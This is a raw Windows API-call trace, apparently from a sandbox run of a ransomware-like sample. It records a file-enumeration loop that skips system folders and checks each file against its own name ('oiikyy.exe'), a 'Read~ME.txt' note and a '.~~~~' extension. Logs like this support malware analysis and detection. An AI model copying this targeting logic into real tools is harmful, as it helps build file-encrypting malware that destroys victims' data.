	[0066.319] StrStrW (lpFirst="eqnedt32.exe.manifest", lpSrch=".~~~~") returned 0x0
	[0066.319] lstrcmpW (lpString1="eqnedt32.exe.manifest", lpString2="Read~ME.txt") returned -1
	[0066.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0066.319] GetCurrentThreadId () returned 0x618
	[0066.319] RtlWakeConditionVariable () returned 0x365f48
	[0066.319] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1
	[0066.319] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="Windows") returned -1
	[0066.319] lstrcmpW (lpString1="EQNEDT32.HLP", lpString2="oiikyy.exe") returned -1
	[0066.319] StrStrW (lpFirst="EQNEDT32.HLP", lpSrch=".~~~~") returned 0x0
	[0066.320] lstrcmpW (lpString1="EQNEDT32.HLP", lpString2="Read~ME.txt") returned -1
	[0066.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0066.320] GetCurrentThreadId () returned 0x618
	[0066.320] RtlWakeConditionVariable () returned 0x365f48
	[0066.320] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1
	[0066.320] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="Windows") returned -1
	[0066.320] lstrcmpW (lpString1="MTEXTRA.TTF", lpString2="oiikyy.exe") returned -1
	[0066.320] StrStrW (lpFirst="MTEXTRA.TTF", lpSrch=".~~~~") returned 0x0
	[0066.320] lstrcmpW (lpString1="MTEXTRA.TTF", lpString2="Read~ME.txt") returned -1
	[0066.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.320] GetCurrentThreadId () returned 0x618
	[0066.320] RtlWakeConditionVariable () returned 0x365f48
	[0066.320] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0
	[0066.320] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0066.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.320] GetCurrentThreadId () returned 0x618
	[0066.320] RtlWakeConditionVariable () returned 0x365f48
	[0066.322] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1
	[0066.322] lstrcmpiW (lpString1="EURO", lpString2="Windows") returned -1
	[0066.322] lstrcmpW (lpString1="EURO", lpString2=".") returned 1
	[0066.322] lstrcmpW (lpString1="EURO", lpString2="..") returned 1
	[0066.322] lstrcmpW (lpString1="EURO", lpString2="AppData") returned 1
	[0066.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO", lpSrch="AppData") returned 0x0
	[0066.322] lstrlenW (lpString="C:\\Windows") returned 10
	[0066.322] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO", lpString2="C:\\Windows") returned -1
	[0066.322] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0066.322] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO", lpString2="C:\\System Volume Information") returned -1
	[0066.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0066.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0066.494] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0066.499] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0066.499] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0066.499] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0066.499] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0066.527] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.527] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0066.527] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0066.527] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0066.527] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0066.527] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0066.527] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0066.527] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1
	[0066.527] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="Windows") returned -1
	[0066.528] lstrcmpW (lpString1="MSOEURO.DLL", lpString2="oiikyy.exe") returned -1
	[0066.528] StrStrW (lpFirst="MSOEURO.DLL", lpSrch=".~~~~") returned 0x0
	[0066.528] lstrcmpW (lpString1="MSOEURO.DLL", lpString2="Read~ME.txt") returned -1
	[0066.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7be0
	[0066.528] GetCurrentThreadId () returned 0x618
	[0066.528] RtlWakeConditionVariable () returned 0x365f48
	[0066.528] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0
	[0066.528] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0066.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7be0
	[0066.528] GetCurrentThreadId () returned 0x618
	[0066.528] RtlWakeConditionVariable () returned 0x365f48
	[0066.529] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1
	[0066.529] lstrcmpiW (lpString1="Filters", lpString2="Windows") returned -1
	[0066.529] lstrcmpW (lpString1="Filters", lpString2=".") returned 1
	[0066.529] lstrcmpW (lpString1="Filters", lpString2="..") returned 1
	[0066.530] lstrcmpW (lpString1="Filters", lpString2="AppData") returned 1
	[0066.530] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", lpSrch="AppData") returned 0x0
	[0066.530] lstrlenW (lpString="C:\\Windows") returned 10
	[0066.530] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", lpString2="C:\\Windows") returned -1
	[0066.530] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0066.530] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", lpString2="C:\\System Volume Information") returned -1
	[0066.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0066.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0066.917] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0066.917] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0066.917] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0066.917] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0066.917] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0066.918] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.918] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0066.918] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0066.918] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0066.918] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0066.918] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0066.918] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0066.919] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1
	[0066.919] lstrcmpiW (lpString1="msgfilt.dll", lpString2="Windows") returned -1
	[0066.919] lstrcmpW (lpString1="msgfilt.dll", lpString2="oiikyy.exe") returned -1
	[0066.919] StrStrW (lpFirst="msgfilt.dll", lpSrch=".~~~~") returned 0x0
	[0066.919] lstrcmpW (lpString1="msgfilt.dll", lpString2="Read~ME.txt") returned -1
	[0066.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.919] GetCurrentThreadId () returned 0x618
	[0066.919] RtlWakeConditionVariable () returned 0x365f48
	[0066.919] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1
	[0066.919] lstrcmpiW (lpString1="odffilt.dll", lpString2="Windows") returned -1
	[0066.919] lstrcmpW (lpString1="odffilt.dll", lpString2="oiikyy.exe") returned -1
	[0066.919] StrStrW (lpFirst="odffilt.dll", lpSrch=".~~~~") returned 0x0
	[0066.919] lstrcmpW (lpString1="odffilt.dll", lpString2="Read~ME.txt") returned -1
	[0066.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.919] GetCurrentThreadId () returned 0x618
	[0066.920] RtlWakeConditionVariable () returned 0x365f48
	[0066.920] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1
	[0066.920] lstrcmpiW (lpString1="offfiltx.dll", lpString2="Windows") returned -1
	[0066.920] lstrcmpW (lpString1="offfiltx.dll", lpString2="oiikyy.exe") returned -1
	[0066.920] StrStrW (lpFirst="offfiltx.dll", lpSrch=".~~~~") returned 0x0
	[0066.920] lstrcmpW (lpString1="offfiltx.dll", lpString2="Read~ME.txt") returned -1
	[0066.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.920] GetCurrentThreadId () returned 0x618
	[0066.920] RtlWakeConditionVariable () returned 0x365f48
	[0066.920] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1
	[0066.920] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="Windows") returned -1
	[0066.920] lstrcmpW (lpString1="VISFILT.DLL", lpString2="oiikyy.exe") returned 1
	[0066.920] StrStrW (lpFirst="VISFILT.DLL", lpSrch=".~~~~") returned 0x0
	[0066.920] lstrcmpW (lpString1="VISFILT.DLL", lpString2="Read~ME.txt") returned 1
	[0066.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.920] GetCurrentThreadId () returned 0x618
	[0066.920] RtlWakeConditionVariable () returned 0x365f48
	[0066.920] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0
	[0066.920] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0066.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.922] GetCurrentThreadId () returned 0x618
	[0066.923] RtlWakeConditionVariable () returned 0x365f48
	[0066.923] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1
	[0066.923] lstrcmpiW (lpString1="GRPHFLT", lpString2="Windows") returned -1
	[0066.923] lstrcmpW (lpString1="GRPHFLT", lpString2=".") returned 1
	[0066.923] lstrcmpW (lpString1="GRPHFLT", lpString2="..") returned 1
	[0066.923] lstrcmpW (lpString1="GRPHFLT", lpString2="AppData") returned 1
	[0066.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT", lpSrch="AppData") returned 0x0
	[0066.923] lstrlenW (lpString="C:\\Windows") returned 10
	[0066.923] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT", lpString2="C:\\Windows") returned -1
	[0066.923] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0066.923] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT", lpString2="C:\\System Volume Information") returned -1
	[0066.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0066.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0066.964] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0066.964] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0066.964] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0066.964] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0066.964] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0066.964] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.965] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0066.965] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0066.965] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0066.965] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0066.965] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0066.965] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0066.965] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1
	[0066.965] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="Windows") returned -1
	[0066.965] lstrcmpW (lpString1="CGMIMP32.CFG", lpString2="oiikyy.exe") returned -1
	[0066.965] StrStrW (lpFirst="CGMIMP32.CFG", lpSrch=".~~~~") returned 0x0
	[0066.965] lstrcmpW (lpString1="CGMIMP32.CFG", lpString2="Read~ME.txt") returned -1
	[0066.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0066.965] GetCurrentThreadId () returned 0x618
	[0067.073] RtlWakeConditionVariable () returned 0x365f48
	[0067.073] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1
	[0067.074] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="Windows") returned -1
	[0067.074] lstrcmpW (lpString1="CGMIMP32.FLT", lpString2="oiikyy.exe") returned -1
	[0067.074] StrStrW (lpFirst="CGMIMP32.FLT", lpSrch=".~~~~") returned 0x0
	[0067.074] lstrcmpW (lpString1="CGMIMP32.FLT", lpString2="Read~ME.txt") returned -1
	[0067.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.074] GetCurrentThreadId () returned 0x618
	[0067.074] RtlWakeConditionVariable () returned 0x365f48
	[0067.074] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1
	[0067.074] lstrcmpiW (lpString1="CGMIMP32.FNT", lpString2="Windows") returned -1
	[0067.074] lstrcmpW (lpString1="CGMIMP32.FNT", lpString2="oiikyy.exe") returned -1
	[0067.074] StrStrW (lpFirst="CGMIMP32.FNT", lpSrch=".~~~~") returned 0x0
	[0067.074] lstrcmpW (lpString1="CGMIMP32.FNT", lpString2="Read~ME.txt") returned -1
	[0067.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.074] GetCurrentThreadId () returned 0x618
	[0067.074] RtlWakeConditionVariable () returned 0x365f48
	[0067.074] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1
	[0067.074] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="Windows") returned -1
	[0067.074] lstrcmpW (lpString1="EPSIMP32.FLT", lpString2="oiikyy.exe") returned -1
	[0067.074] StrStrW (lpFirst="EPSIMP32.FLT", lpSrch=".~~~~") returned 0x0
	[0067.074] lstrcmpW (lpString1="EPSIMP32.FLT", lpString2="Read~ME.txt") returned -1
	[0067.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.074] GetCurrentThreadId () returned 0x618
	[0067.075] RtlWakeConditionVariable () returned 0x365f48
	[0067.075] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1
	[0067.075] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="Windows") returned -1
	[0067.075] lstrcmpW (lpString1="GIFIMP32.FLT", lpString2="oiikyy.exe") returned -1
	[0067.075] StrStrW (lpFirst="GIFIMP32.FLT", lpSrch=".~~~~") returned 0x0
	[0067.075] lstrcmpW (lpString1="GIFIMP32.FLT", lpString2="Read~ME.txt") returned -1
	[0067.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.075] GetCurrentThreadId () returned 0x618
	[0067.075] RtlWakeConditionVariable () returned 0x365f48
